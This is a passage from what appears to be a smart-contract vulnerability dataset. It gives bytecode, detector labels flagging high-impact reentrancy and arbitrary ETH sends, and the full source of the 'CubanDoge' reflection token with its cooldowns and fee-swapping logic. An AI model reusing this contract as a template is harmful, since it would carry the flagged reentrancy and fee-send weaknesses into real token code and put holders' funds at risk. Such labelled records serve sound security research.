826134bd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134ff826134dd565b9050919050565b60005b83811015613524578082015181840152602081019050613509565b83811115613533576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139bd8161349f565b81146139c857600080fd5b50565b6139d4816134b1565b81146139df57600080fd5b50565b6139eb816134dd565b81146139f657600080fd5b50565b613a02816134e7565b8114613a0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a51f369d7dd268c70a51dcd552fe2a0c3f123ad096aac06c0ac6ac2d3fd346264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,709 |
0xE70B056b94ED96354EC1d27A1E927a142aDF91Cf
|
/**
*Submitted for verification at Etherscan.io on 2021-06-18
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CubanDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Cuban Doge";
string private constant _symbol = unicode"CubanDoge";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 6;
uint256 private _teamFee = 4;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 40;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(6)).div(10);
_teamFee = (_impactFee.mul(4)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 6;
_teamFee = 4;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 3000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610423578063c3c8cd8014610460578063c9567bf914610477578063db92dbb61461048e578063dd62ed3e146104b9578063e8078d94146104f657610140565b8063715018a61461034e5780638da5cb5b1461036557806395d89b4114610390578063a9059cbb146103bb578063a985ceef146103f857610140565b8063313ce567116100fd578063313ce5671461024057806345596e2e1461026b5780635932ead11461029457806368a3a6a5146102bd5780636fc3eaec146102fa57806370a082311461031157610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d857806327f3a72a1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61050d565b60405161016791906130da565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612bf8565b61054a565b6040516101a491906130bf565b60405180910390f35b3480156101b957600080fd5b506101c2610568565b6040516101cf91906132bc565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612ba9565b610579565b60405161020c91906130bf565b60405180910390f35b34801561022157600080fd5b5061022a610652565b60405161023791906132bc565b60405180910390f35b34801561024c57600080fd5b50610255610662565b6040516102629190613331565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190612c86565b61066b565b005b3480156102a057600080fd5b506102bb60048036038101906102b69190612c34565b610752565b005b3480156102c957600080fd5b506102e460048036038101906102df9190612b1b565b61084a565b6040516102f191906132bc565b60405180910390f35b34801561030657600080fd5b5061030f6108a1565b005b34801561031d57600080fd5b5061033860048036038101906103339190612b1b565b610913565b60405161034591906132bc565b60405180910390f35b34801561035a57600080fd5b50610363610964565b005b34801561037157600080fd5b5061037a610ab7565b6040516103879190612ff1565b60405180910390f35b34801561039c57600080fd5b506103a5610ae0565b6040516103b291906130da565b60405180910390f35b3480156103c757600080fd5b506103e260048036038101906103dd9190612bf8565b610b1d565b6040516103ef91906130bf565b60405180910390f35b34801561040457600080fd5b5061040d610b3b565b60405161041a91906130bf565b60405180910390f35b34801561042f57600080fd5b5061044a60048036038101906104459190612b1b565b610b52565b60405161045791906132bc565b60405180910390f35b34801561046c57600080fd5b50610475610ba9565b005b34801561048357600080fd5b5061048c610c23565b005b34801561049a57600080fd5b506104a3610ce7565b6040516104b091906132bc565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190612b6d565b610d19565b6040516104ed91906132bc565b60405180910390f35b34801561050257600080fd5b5061050b610da0565b005b60606040518060400160405280600a81526020017f437562616e20446f676500000000000000000000000000000000000000000000815250905090565b600061055e6105576112b0565b84846112b8565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610586848484611483565b610647846105926112b0565b61064285604051806060016040528060288152602001613a1360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f86112b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4d9092919063ffffffff16565b6112b8565b600190509392505050565b600061065d30610913565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106ac6112b0565b73ffffffffffffffffffffffffffffffffffffffff16146106cc57600080fd5b6033811061070f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107069061319c565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161074791906132bc565b60405180910390a150565b61075a6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107de906131fc565b60405180910390fd5b80601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161083f91906130bf565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001544261089a9190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108e26112b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f437562616e446f67650000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a000000000000000000